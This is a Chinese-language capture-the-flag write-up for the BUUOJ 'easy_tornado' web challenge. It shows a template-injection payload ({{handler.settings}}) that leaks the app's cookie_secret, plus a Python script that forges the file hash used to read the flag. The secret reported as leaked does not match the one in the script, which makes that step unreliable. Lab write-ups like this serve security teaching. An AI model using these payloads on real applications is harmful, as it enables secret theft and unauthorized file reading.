buuoj--easy_tornado

buuoj–easy_tornado

打开页面提示三个链接

/flag.txt
/welcome.txt
/hints.txt

查看flag.txt

/flag.txt
flag in /fllllllllllllag

查看welcome.txt

/welcome.txt
render

查看hints.txt

/hints.txt
md5(cookie_secret+md5(filename))

render、tornado都是模板,提示模板注入

这是查看flag.txt的链接

18005c28-1a3a-4ef8-9712-674709a3a6ad.node3.buuoj.cn/file?filename=/flag.txt&filehash=9255e92c383a4dc733893c28493c8b22

将/flag.txt修改为/fllllllllllllag报错:
buuoj--easy_tornado_第1张图片
出现msg=Error
如果修改为123
在这里插入图片描述
模板注入(https://www.jianshu.com/p/55c75e0f7928)

在tornado模板中,存在一些可以访问的快速对象,例如

 
     {{ escape(handler.settings["cookie"]) }}
 

这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象,又黑翼天使23的博客园日志可知,

handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了!

大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret

msg={{handler.settings}} 得到cookie_secret在这里插入图片描述

‘cookie_secret’: ‘4dff6cea-5745-4572-bf7f-371994e24436’
按照hint的提示即可
脚本(https://www.cnblogs.com/mke2fs/p/11573786.html):

#!-*-coding:utf-8 -*-
import hashlib
def md5(s):
    md5 = hashlib.md5()
    md5.update(s)
    return md5.hexdigest()
def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '01d3ae36-9d9e-44f4-b25e-405eda25b369'
    print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
    filehash()

结果filehash:166f8acca84fe2652fb4f3ba912fa6b1
payload:
18005c28-1a3a-4ef8-9712-674709a3a6ad.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=166f8acca84fe2652fb4f3ba912fa6b1
回显flag

你可能感兴趣的:(web)